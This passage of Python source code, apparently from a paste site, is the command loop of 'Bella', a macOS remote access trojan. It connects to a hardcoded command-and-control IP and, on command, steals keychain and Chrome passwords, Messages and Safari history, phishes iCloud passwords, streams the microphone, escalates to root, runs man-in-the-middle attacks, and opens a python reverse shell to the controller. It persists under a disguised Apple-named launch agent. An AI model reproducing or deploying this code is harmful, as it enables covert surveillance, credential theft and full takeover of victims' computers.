  1779.         print "ERROR CREATING DATABASE %s" % creator[1]
  1780.         pass
  1781.  
  1782.     os.chdir("/Users/%s/" % get_bella_user())
  1783.  
  1784.     if readDB('lastLogin') == False: #if it hasnt been set
  1785.         updateDB('Never', 'lastLogin')
  1786.  
  1787.     if not isinstance(get_model(), str): #if no model, put it in
  1788.         output = check_output("sysctl hw.model")
  1789.         if output[0]:
  1790.             modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
  1791.         output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
  1792.         if not output[0]:
  1793.             model = 'Macintosh'
  1794.         else:
  1795.             model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
  1796.         updateDB(model, 'model')
  1797.  
  1798.     while True:
  1799.         subprocess_cleanup()
  1800.         print "Starting Bella"
  1801.         #rooter(). try to get root automatically. uncomment this line, if you want to run bella on say, a Guest account, and have it automatically escalate to root (via LPE) without you having to do anything.
  1802.         #create encrypted socket.
  1803.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1804.         sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  1805.         sock.settimeout(None)
  1806.         bella_connection = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_NONE)
  1807.        
  1808.         try:
  1809.             print 'Connecting'
  1810.             bella_connection.connect((host,port))
  1811.             print 'Connected'
  1812.         except socket.error as e:
  1813.             if e[0] == 61:
  1814.                 print 'Connection refused.'
  1815.                 pass
  1816.             else:
  1817.                 print 'No connection: %s' % e
  1818.                 pass
  1819.             time.sleep(5)
  1820.             continue
  1821.  
  1822.         print 'Listener active, server connected'
  1823.         while True:
  1824.             try:
  1825.                 remove_SUID_shell() #remove if it exists
  1826.                 print '%sAwaiting%s Data' % (yellow, endANSI)
  1827.                 data = recv_msg(bella_connection)
  1828.                 print '%sReceived%s Data' % (green, endANSI)
  1829.                 if not data:
  1830.                     print 'Control disconnected'
  1831.                     break #start listening again.
  1832.                 elif data.startswith('cd'):
  1833.                     path = data[3:]
  1834.                     try:
  1835.                         if path.startswith("~"):
  1836.                             os.chdir(os.path.expanduser(path))
  1837.                         else:
  1838.                             os.chdir(path)
  1839.                         files = []
  1840.                         for x in os.listdir(os.getcwd()):
  1841.                             if not x.startswith('.'):
  1842.                                 files.append(x)
  1843.                         stdout_val = '\n'.join(files)
  1844.                         send_msg("cwdcwd%s\n%s" % (os.getcwd(), stdout_val), True)
  1845.                     except OSError, e:
  1846.                         if e[0] == 2:
  1847.                             send_msg("%sNo such file or directory.\n" % red_minus, True)
  1848.                         else:
  1849.                             send_msg("%sError\n%s\n" % (red_minus, e), True)
  1850.                
  1851.                 elif data == 'ls': #will be our default ls handler
  1852.                     fileList = [] #this will be used for autocompletion.
  1853.                     filePrint = []
  1854.                     for x in os.listdir(os.getcwd()):
  1855.                         if not x.startswith('.') and x != "Icon\r":
  1856.                             fileList.append(x)
  1857.                     for x in sorted(fileList):
  1858.                         try:
  1859.                             perm = oct(os.stat(x).st_mode)[-3:]
  1860.                             timestamp = time.strftime("%h %e %H:%M", time.localtime(os.lstat(x).st_mtime))
  1861.                             size = byte_convert(os.lstat(x).st_size)
  1862.                             hardlinks = str(os.lstat(x).st_nlink)
  1863.                             isDirectory = stat.S_ISDIR(os.lstat(x).st_mode)
  1864.                             if isDirectory:
  1865.                                 dirString = "d"
  1866.                             else:
  1867.                                 dirString = "-"
  1868.                             isExecutable = False
  1869.                             if '1' in perm or '3' in perm or '7' in perm:
  1870.                                 isExecutable = True
  1871.                             owner = pwd.getpwuid(os.lstat(x).st_uid).pw_name
  1872.                             group = grp.getgrgid(os.lstat(x).st_gid).gr_name
  1873.                             permList = {"0": "---", "1": "--x", "2": "-w-", "3": "-wx", "4": "r--", "5": "r-x", "6": "rw-", "7": "rwx"}
  1874.                             permString = "%s%s%s" % (permList["%s" % perm[0]], permList["%s" % perm[1]], permList["%s" % perm[2]] )
  1875.                             if isDirectory:
  1876.                                 x = "%s%s%s/" % (light_blue, x, endANSI)
  1877.                             elif isExecutable:
  1878.                                 x = "%s%s%s%s*" % (dark_green, bold, x, endANSI)
  1879.                             else:
  1880.                                 pass                      
  1881.                             fileData = [dirString + permString, hardlinks, owner, group, size, timestamp, x]
  1882.                             filePrint.append(fileData)
  1883.                         except:
  1884.                             pass
  1885.                     send_msg('lserlser' + pickle.dumps((fileList, filePrint)), True)
  1886.  
  1887.                 elif data == 'quit' or data == 'exit':
  1888.                     send_msg("Exit", True)
  1889.                 elif data == "initializeSocket":
  1890.                     send_msg(initialize_socket(), True)
  1891.                 elif data.startswith("payload_response_SBJ29"):
  1892.                     payloads_encoded = data.split(':::')[1]
  1893.                     print 'Got payloads! %s' % payloads_encoded[:20]
  1894.                     print 'Creating DB from these payloads'
  1895.                     if inject_payloads(payloads_encoded):
  1896.                         send_msg('Injected payloads into Bella.\n', False)
  1897.                         print 'Injected'
  1898.                     else:
  1899.                         send_msg('Error injecting payloads', False)
  1900.                         print 'Error injecting payloads'
  1901.                     send_msg(initialize_socket(), True)
  1902.                 elif data == "iCloud_token":
  1903.                     tokenForce()
  1904.                 elif data == "insomnia_load":
  1905.                     send_msg(insomnia_load(), True)
  1906.                 elif data == "insomnia_unload":
  1907.                     send_msg(insomnia_unload(), True)
  1908.                 elif data == "manual":
  1909.                     send_msg(manual(), True)
  1910.                 elif data == "screen_shot":
  1911.                     send_msg(screenShot(), True)
  1912.                 elif data.startswith("update_server"):
  1913.                     send_msg("%sAttempting to update server!\n" % yellow_star, False)
  1914.                     send_msg(update_server(pickle.loads(data[13:])), True)
  1915.                 elif data == "chrome_safe_storage":
  1916.                     chrome_safe_storage()
  1917.                 elif data == "check_backups":
  1918.                     send_msg(iTunes_backup_looker()[0], True)
  1919.                 elif data == "keychain_download":
  1920.                     send_msg(keychain_download(), True)
  1921.                 elif data == "iCloud_phish":
  1922.                     check = applepwRead()
  1923.                     if isinstance(check, str):
  1924.                         send_msg("%sAlready have an apple pass.\n%s\n" % (blue_star, check), True)
  1925.                     else:
  1926.                         send_msg("appleIDPhishHelp" + appleIDPhishHelp(), True)
  1927.                 elif data.startswith("iCloudPhishFinal"):
  1928.                     appleIDPhish(data[16:].split(":")[0], data[16:].split(":")[1])
  1929.                 elif data == "user_pass_phish":
  1930.                     user_pass_phish()
  1931.                 elif data.startswith("disableKM"):
  1932.                     send_msg(disable_keyboard_mouse(data[9:]), True)
  1933.                 elif data.startswith("enableKM"):
  1934.                     send_msg(enable_keyboard_mouse(data[8:]), True)
  1935.                 elif data == "reboot_server":
  1936.                     send_msg(os.kill(bellaPID, 9), True)
  1937.                 elif data == "current_users":
  1938.                     send_msg('\033[4mCurrently logged in users:\033[0m\n%s' % check_current_users(), True)
  1939.                 elif data == "bella_info":
  1940.                     bella_info()
  1941.                 elif data == "get_root":
  1942.                     rooter()
  1943.                 elif data == 'mike_stream':
  1944.                     time.sleep(3)
  1945.                     reader = readDB('microphone', True)
  1946.                     if not reader:
  1947.                         send_msg('%sError reading Microphone payload from Bella DB.\n' % red_minus, True)
  1948.                     else:
  1949.                         path = payload_generator(reader)
  1950.                         mike_helper(path)
  1951.                 elif data == "chrome_dump":
  1952.                     checkChrome = chromeSSRead()
  1953.                     if isinstance(checkChrome, str):
  1954.                         safe_storage_key = checkChrome
  1955.                         login_data = glob("/Users/%s/Library/Application Support/Google/Chrome/*/Login Data" % get_bella_user()) #dont want to do all
  1956.                         for x in login_data:
  1957.                             chrome_dump(safe_storage_key, x)
  1958.                         send_msg('', True)
  1959.                     else:
  1960.                         send_msg("%sNo Chrome Safe Storage Key found!\n" % red_minus, True)
  1961.  
  1962.                 elif data == "iCloud_FMIP":
  1963.                     (username, password, usingToken) = iCloud_auth_process(False)
  1964.                     if password == False: #means we couldnt get any creds
  1965.                         send_msg(username, True) #send reason why
  1966.                     else:
  1967.                         if usingToken:
  1968.                             send_msg("%sCannot locate iOS devices with only a token. Run iCloudPhish if you would like to phish the user for their iCloud Password.\n" % red_minus, True)
  1969.                         else:
  1970.                             FMIP(username, password)
  1971.  
  1972.                 elif data == "iCloud_read":
  1973.                     key = "%sThere is no iCloud ID available.\n" % red_minus
  1974.                     check = applepwRead()
  1975.                     if isinstance(check, str):
  1976.                         key = applepwRead() + "\n"
  1977.                     send_msg(key, True)
  1978.  
  1979.                 elif data == "lpw_read":
  1980.                     key = "%sThere is no local account available.\n" % red_minus
  1981.                     check = local_pw_read()
  1982.                     if isinstance(check, str):
  1983.                         key = "%s\n" % check
  1984.                     send_msg(key, True)
  1985.  
  1986.                 elif data.startswith("mitm_start"):
  1987.                     interface = data.split(":::")[1]
  1988.                     cert = data.split(":::")[2]
  1989.                     mitm_start(interface, cert)
  1990.  
  1991.                 elif data.startswith("mitm_kill"):
  1992.                     interface = data.split(":::")[1]
  1993.                     certsha1 = data.split(":::")[2]
  1994.                     mitm_kill(interface, certsha1)
  1995.  
  1996.                 elif data.startswith("set_client_name"):
  1997.                     name = data.split(":::")[1]
  1998.                     send_msg(set_client_name(name), True)
  1999.  
  2000.                 elif data == 'chat_history':
  2001.                     chat_db = globber("/Users/*/Library/Messages/chat.db")
  2002.                     serial = [] #we do all of this custom serialization because it is way faster and more space efficient.
  2003.                     for x in chat_db:
  2004.                         data = protected_file_reader(x)
  2005.                         send_msg("%sFound messages DB for %s [%s]\n" % (blue_star, x.split("/")[2], byte_convert(len(data))), False)
  2006.                         serial.append('C5EBDE1F'.join( (x.split("/")[2], data) ))
  2007.                     send_msg("%sSending databases over.\n" % yellow_star, False)
  2008.                     send_msg("C5EBDE1F", False)
  2009.                     send_msg('C5EBDE1F_tuple'.join(serial), True)
  2010.                
  2011.                 elif data == 'safari_history':
  2012.                     historyDb = globber("/Users/*/Library/Safari/History.db")
  2013.                     serial = []
  2014.                     for history in historyDb:
  2015.                         copypath = tempfile.mkdtemp()
  2016.                         with open('%s/safari' % copypath, 'w') as content:
  2017.                             content.write(protected_file_reader(history))
  2018.                         database = sqlite3.connect('%s/safari' % copypath)
  2019.                         sql = "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') as last_visited, hi.url, hv.title FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;"
  2020.                         content = ""
  2021.                         with database:
  2022.                             try:
  2023.                                 for x in database.execute(sql):
  2024.                                     x = filter(None, x)
  2025.                                     content += ' | '.join(x).encode('ascii', 'ignore') + '\n'
  2026.                             except:
  2027.                                 pass
  2028.                         content = bz2.compress(content)
  2029.                         serial.append('6E87CF0B'.join((history.split("/")[2], content))) #append owner of history
  2030.                         shutil.rmtree(copypath)
  2031.                     send_msg("6E87CF0B", False)
  2032.                     send_msg('6E87CF0B_tuple'.join(serial), True)
  2033.                
  2034.                 elif data.startswith('interactive_shell'):
  2035.                     interactive_shell_port = data.split(':::')[1]
  2036.                     start_interactive_shell(interactive_shell_port)
  2037.  
  2038.                 elif data.startswith('download'):
  2039.                     file_name = data[8:]
  2040.                     try:
  2041.                         with open(file_name, 'rb') as content:
  2042.                             file_content = content.read()
  2043.                         send_msg("%sFound [%s]. Preparing for download.\n" % (yellow_star, file_name), False)
  2044.                         send_msg("downloader", False)
  2045.                         send_msg(file_content + 'dl_delimiter_x22x32' + file_name, True)
  2046.                     except IOError, e:
  2047.                         send_msg("%s%s\n" % (red_minus, e), True)
  2048.                     except OSError, e:
  2049.                         send_msg("%s%s\n" % (red_minus, e), True)
  2050.  
  2051.                 elif data.startswith('uploader'):
  2052.                     (file_content, file_name) = data[8:].split('ul_delimeter_x22x32')
  2053.                     try:
  2054.                         send_msg("%sBeginning write of [%s].\n" % (yellow_star, file_name), False)
  2055.                         with open(file_name, 'wb') as content:
  2056.                             content.write(file_content)
  2057.                         send_msg("%sSucessfully wrote [%s/%s]\n" % (blue_star, os.getcwd(), file_name), True)
  2058.                     except IOError, e:
  2059.                         send_msg("%s%s\n" % (red_minus, e), True)
  2060.                     except OSError, e:
  2061.                         send_msg("%s%s\n" % (red_minus, e), True)
  2062.  
  2063.                 elif data == "iCloud_query":
  2064.                     (error, errorMessage, dsid, token) = main_iCloud_helper()
  2065.                     if error:
  2066.                         send_msg(errorMessage, True)
  2067.                     else:
  2068.                         iCloud_storage_helper(dsid, token)
  2069.  
  2070.                 elif data == "iCloud_FMF":
  2071.                     (error, errorMessage, dsid, token) = main_iCloud_helper()
  2072.                     if error:
  2073.                         send_msg(errorMessage, True)
  2074.                     else:
  2075.                         cardData = get_card_data(dsid, token)
  2076.                         heard_it_from_a_friend_who(dsid, token, cardData)
  2077.                         send_msg('', True)
  2078.  
  2079.                 elif data == 'iCloud_contacts':
  2080.                     (error, errorMessage, dsid, token) = main_iCloud_helper()
  2081.                     if error:
  2082.                         send_msg(errorMessage, True)
  2083.                     else:
  2084.                         cardData = get_card_data(dsid, token)
  2085.                         for vcard in cardData:
  2086.                             send_msg("\033[1m%s\033[0m\n" % vcard[0][0], False)
  2087.                             for numbers in vcard[1]:
  2088.                                 send_msg("[\033[94m%s\033[0m]\n" % numbers, False)
  2089.                             for emails in vcard[2]:
  2090.                                 send_msg("[\033[93m%s\033[0m]\n" % emails, False)
  2091.                         localToken = tokenRead()
  2092.                         if localToken != False:
  2093.                             send_msg('\033[1mFound %s iCloud Contacts for %s!\033[0m\n' % (len(cardData), localToken.split("\n")[0]), True)
  2094.                         else:
  2095.                             send_msg('', True)
  2096.  
  2097.                 elif data == '3C336E68854':
  2098.                     time.sleep(2)
  2099.                     cmd = 'python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\'/bin/bash\')" ' + host + ' 3818'
  2100.                     x = subprocess.Popen(cmd, shell=True)
  2101.                     print x.pid
  2102.                     send_msg('', True)
  2103.  
  2104.                 elif data.startswith('vnc_start'):
  2105.                     vnc_port = data.split(':::')[1]
  2106.                     time.sleep(3)
  2107.                     vnc_start(vnc_port)
  2108.  
  2109.                 elif data == 'removeserver_yes':
  2110.                     removeServer()                 
  2111.  
  2112.                 elif data == 'shutdownserver_yes':
  2113.                     send_msg("Server will shutdown in 3 seconds.\n", True)
  2114.                     subprocess_cleanup()
  2115.                     os.system("sleep 3; launchctl remove %s" % launch_agent_name)
  2116.                     #we shouldnt have to kill iTunes, but if there is a problem with launchctl ..
  2117.  
  2118.                 elif data == 'get_client_info':
  2119.                     client_name = readDB('client_name')
  2120.                     if client_name == False:
  2121.                         output = check_output('scutil --get LocalHostName | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"')
  2122.                     else:
  2123.                         output = check_output('echo "%s" | tr -d "\n"; printf -- "->"; whoami | tr -d "\n"' % client_name)
  2124.                     if not output[0]:
  2125.                         send_msg('Error-MB-Pro -> Error', True)
  2126.                         continue
  2127.                     send_msg(output[1], True)
  2128.  
  2129.                 else:
  2130.                     try:
  2131.                         proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
  2132.                         done = False
  2133.                         while proc.poll() == None:
  2134.                             bella_connection.settimeout(0.0) #set socket to non-blocking (dont wait for data)
  2135.                             try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
  2136.                                 if recv_msg(bella_connection) == 'sigint9kill':
  2137.                                     sys.stdout.flush()
  2138.                                     proc.terminate()
  2139.                                     send_msg('terminated', True) #send back confirmation along with STDERR
  2140.                                     done = True
  2141.                                     bella_connection.settimeout(None)
  2142.                                     break
  2143.                             except socket.error as e: #no message, business as usual
  2144.                                 pass
  2145.                             bella_connection.settimeout(None)
  2146.                             out = select.select([proc.stdout.fileno()], [], [], 5)[0]
  2147.                             if out:
  2148.                                 line = proc.stdout.readline()
  2149.                                 if line != "":
  2150.                                     send_msg(line, False)
  2151.                                 else:
  2152.                                     #at this point we are done with the loop, can get / send stderr
  2153.                                     send_msg(line + proc.stderr.read(), True)
  2154.                                     done = True
  2155.                                     break
  2156.                             else:
  2157.                                 send_msg("%s[%s] is an interactive command.\n%sBella does not support interactive commands.\n%sUse 'interactive_shell' to perform this task.\n" % (blue_star, data, yellow_star, blue_star), True)
  2158.                                 sys.stdout.flush()
  2159.                                 #proc.terminate()
  2160.                                 done = True
  2161.                                 break
  2162.                         if not done:
  2163.                             send_msg(proc.stdout.read() + proc.stderr.read(), True)
  2164.  
  2165.                     except socket.error, e:
  2166.                         if e[0] == 32:
  2167.                             print "Listener disconnected, broken pipe."
  2168.                             pass
  2169.                     except Exception as e:
  2170.                         print e
  2171.                         send_msg(str(e), True)
  2172.  
  2173.             except socket.error, e:
  2174.                 traceback.print_exc()
  2175.                 subprocess_cleanup()
  2176.                 print repr(e)
  2177.                 if e[0] == 54:
  2178.                     print "Listener disconnected, connection reset"
  2179.                     pass
  2180.                 break
  2181.  
  2182.             except Exception:
  2183.                 #any error here will be unrelated to socket malfunction.
  2184.                 bella_error = traceback.format_exc()
  2185.                 print bella_error
  2186.                 send_msg('%sMalfunction:\n```\n%s%s%s\n```\n' % (red_minus, red, bella_error, endANSI), True) #send error to CC, then continue
  2187.                 continue
  2188.         try:
  2189.             bella_connection.close()
  2190.         except:
  2191.             pass
  2192.  
  2193. ##### Below variables are global scopes that are accessed by most of the methods in Bella. Should make a class structure #####
  2194. endANSI = '\033[0m'
  2195. bold = '\033[1m'
  2196. underline = '\033[4m'
  2197. red_minus = '\033[31m[-] %s' % endANSI
  2198. greenPlus = '\033[92m[+] %s' % endANSI
  2199. blue_star = '\033[94m[*] %s' % endANSI
  2200. yellow_star = '\033[93m[*] %s' % endANSI
  2201. violet = '\033[95m'
  2202. blue = '\033[94m'
  2203. light_blue = '\033[34m'
  2204. green = '\033[92m'
  2205. dark_green = '\033[32m'
  2206. yellow = '\033[93m'
  2207. red = '\033[31m'
  2208. bella_error = ''
  2209. cryptKey = 'edb0d31838fd883d3f5939d2ecb7e28c'
  2210. try:
  2211.     computer_name = subprocess.check_output('scutil --get LocalHostName', shell=True).replace('\n', '')
  2212. except:
  2213.     computer_name = platform.node()
  2214.  
  2215. if os.getuid() == 0:
  2216.     bella_user = cur_GUI_user()
  2217.     bella_UID = pwd.getpwnam(bella_user).pw_uid
  2218. else:
  2219.     bella_user = getpass.getuser()
  2220.     bella_UID = pwd.getpwnam(bella_user).pw_uid
  2221.  
  2222. bellaPID = os.getpid()
  2223. ROOT_SHELL_PATH = '/usr/local/roots' #try not to change this, it causes permissions errors.
  2224. launch_agent_name = 'main.apple.start'
  2225. bella_folder = 'Containers/.bella'
  2226. if os.getuid() == 0:
  2227.     home_path = ''
  2228. else:
  2229.     home_path = os.path.expanduser('~')
  2230.  
  2231. if '/'.join(os.path.abspath(__file__).split('/')[:-1]).lower() != ('%s/Library/%s' % (home_path, bella_folder)).lower(): #then set up and load agents, etc
  2232.     print '[%s], [%s]' % ('/'.join(os.path.abspath(__file__).split('/')[:-1]).lower(), ('%s/Library/%s' % (home_path, bella_folder)).lower())
  2233.     print 'Bella is not in the proper folder. Resetting'
  2234.     create_bella_helpers(launch_agent_name, bella_folder, home_path)
  2235.  
  2236. helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
  2237. payload_list = []
  2238. temp_file_list = []
  2239. host = '45.55.152.52' #Command and Control IP (listener will run on)
  2240. port = 4545 #What port Bella will operate over
  2241.  
  2242. #### End global variables ####
  2243. if __name__ == '__main__':
  2244.     bella()
Add Comment
Please, Sign In to add comment